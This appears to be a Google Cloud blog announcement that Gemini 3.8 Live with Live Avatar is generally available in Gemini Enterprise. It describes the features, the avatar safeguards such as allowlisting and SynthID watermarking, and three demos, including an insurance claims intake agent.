Following our announcement of Gemini 3.8 Live and Gemini 3.8 Live Extended Thinking last week, we are thrilled to share that Gemini 3.8 Live with Live Avatar is now generally available in Gemini Enterprise. First previewed at Google Cloud Next 2026, the technology is now officially ready for enterprise production.

As enterprise voice AI evolves beyond basic speed and cost metrics, our priority has shifted to making each interaction even higher quality. Gemini 3.8 Live already delivers a native speech-to-speech foundation for fluid, responsive dialogue. The Live Avatar feature brings an interactive visual presence to conversational video agents across web, mobile, and interactive kiosks. Together, you’ll have access to:  

1. Video avatars: Conversational video with the Live Avatar feature can generate video avatars with synchronized lip-syncing. Note: Custom avatar feature is available via allowlist only.   
2. Fluid dialogue: Native speech-to-speech means more natural interruption recovery without dropping conversation context or backend transactions.
3. Tool calling: It executes tools and API calls in the background while continuing the conversation, so the model can acknowledge requests and keep chatting while tasks finish in the background.
4. Breaks language barriers: Gemini 3.8 Live understands and speaks 97 languages, with automatic language detection.
5. Make it easy for agents to see what your user sees: Live visual understanding can process live camera feeds and screen shares alongside audio, all at the same time. 

Though Gemini 3.8 Live Extended Thinking remains in private preview, Gemini 3.8 Live with Live Avatar is now available with US and EU endpoints, with provisioned throughput, enterprise compliance, and strict data governance. Try the model and its features in Gemini Enterprise, and start building now with API. 

Trust and transparency at its core

To safeguard identity and prevent misuse, customers can deploy from a library of curated, pre-built avatars, while custom avatar creation is gated behind a strict enterprise allowlisting and verification process. Furthermore, all generated audio and video streams carry imperceptible SynthID watermarks, ensuring AI-generated content remains transparent and verifiable.

Three demos of Gemini 3.8 Live with Live Avatar in action

#1: Interactive custom avatar

^{Create an interactive custom avatar in a step-by-step process} 

Watch how Gemini 3.8 Live makes it possible to build a custom avatar by adding system instructions, uploading a single reference photo and audio file sample. 

Demo #2: Live video understanding in a voice-first claims intake

^{Streamline claims intake with live video understanding using Gemini 3.8 Live}

In this demo, you’ll see a common use case come to life using Gemini 3.8 Live: an intake agent. In this scenario, we chose an insurance claims agent. You talk and show the damage on camera, and the claim notebook fills itself in as you go. In the background, an ADK agent team checks the policy, applies the intake rules, and builds the adjuster packet. To dive deeper, check out the open-source code.

#3: A real-time voice AI agent with Google ADK and Gemini Live API

^{Build a live voice agent using Google ADK and Gemini Live API}

See how developers can use Agent Development Kit (ADK) to define agents, manage runners and session memory, and stream real-time audio directly to the Gemini Live API without a traditional speech-to-text pipeline.

How our customers are innovating with Gemini 3.8 Live with Live Avatar